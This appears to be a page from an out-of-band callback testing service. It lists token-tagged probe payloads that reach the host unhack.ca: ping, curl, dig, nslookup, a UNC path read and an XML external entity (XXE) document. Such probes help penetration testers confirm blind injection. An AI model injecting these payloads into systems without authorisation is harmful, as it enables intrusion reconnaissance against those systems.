$ ping -c1 -p 002a68c646bb4974351581f0c9340c00 unhack.ca
$ curl http://unhack.ca/p/2a68c646bb4974351581f0c9340c
$ dig 2a68c646bb4974351581f0c9340c @unhack.ca
$ dig 2a68c646bb4974351581f0c9340c.ns.unhack.ca
C:\> nslookup 2a68c646bb4974351581f0c9340c unhack.ca
C:\> type \\unhack.ca\2a68c646bb4974351581f0c9340c\f.txt
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "http://unhack.ca/p/2a68c646bb4974351581f0c9340c">]>
<foo>&xxe;</foo>
Waiting for ping...